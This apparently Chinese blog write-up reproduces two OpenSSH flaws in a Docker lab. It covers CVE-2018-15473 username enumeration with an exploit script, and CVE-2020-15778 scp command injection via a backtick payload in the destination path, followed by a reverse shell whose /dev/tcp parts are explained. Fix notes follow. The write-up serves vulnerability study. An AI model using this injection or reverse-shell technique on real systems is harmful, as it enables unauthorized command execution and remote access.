OpenSSH 是 SSH (Secure SHell) 协议的免费开源实现。SSH协议族可以用来进行远程控制, 或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、 rcp ftp、 rlogin、rsh都是极为不安全的,并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控制和文件传输过程中的数据,并由此来代替原来的类似服务。
环境搭建
这里使用P牛的docker镜像来搭建并复现,对应EXP可在“参考”、复现部分会提供。
1 | docker-compose build |
漏洞实战分类
CVE-2018-15473
漏洞描述
OpenSSH(OpenBSD Secure Shell)是OpenBSD计划组所维护的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现,支持对所有的传输进行加密,可有效阻止窃听、连接劫持以及其他网络级的攻击。
OpenSSH 7.7及之前版本中存在用户枚举漏洞,该漏洞源于程序会对有效的和无效的用户身份验证请求发出不同的响应。攻击者可通过发送特制的请求利用该漏洞枚举用户名称。
影响范围
OpenSSH <7.7
漏洞原理
OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以判断某个用户名是否存在于目标主机中。
漏洞条件
无
漏洞检测
1、环境启动
2、尝试登录
1 | ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@192.168.3.234 -p20022 |
2.1、修改字典
添加多个用户进行检测。
3、exp检测
1 | python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt 192.168.3.234 |
注意脚本有问题:EXP
参考:commit进行修复。
由以上脚本可以看到可以检测到账户信息。
漏洞修复
更新7.8版本以上
漏洞参考
1 | http://openwall.com/lists/oss-security/2018/08/15/5 |
CVE-2020-15778
漏洞描述
OpenSSH 8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。
影响范围
OpenSSH < 8.3p1
漏洞原理
在进行scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。
漏洞条件
SSH身份认证权限
漏洞检测
靶机:192.168.3.32
攻击:192.168.3.234
1、文件拷贝
1 | 把攻击者本地文件拷贝到远程服务器指定目录上(具备用户密码) |
2、示例
1 | scp si1ent.txt root@192.168.3.32:/tmp/si1ent.txt |
3、PoC
1 | scp si1ent.txt root@192.168.3.32:'`touch /tmp/attack.txt`/tmp/si1ent.txt' |
靶机查看
4、反弹shell
攻击主机监听
1 | 攻击机监听某端口 |
1 | 执行命令 |
命令&参数 | 解析 |
---|---|
bash -i | 交互式bash |
>& /dev/tcp/ip/port | 建立TCP连接,并将标准输出和错误重定向到TCP连接 |
0>&1 | 从TCP连接获取输入 |
shell反弹成功
漏洞修复
官方补丁还未出
删除openssh-clients-5.3p1-117.el6.x86_64
无法解决问题
临时解决:
指定SSH远程IP地址,可过滤漏洞扫描.
漏洞参考
1 | https://github.com/cpandya2909/CVE-2020-15778 |
若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏
扫描二维码,分享此文章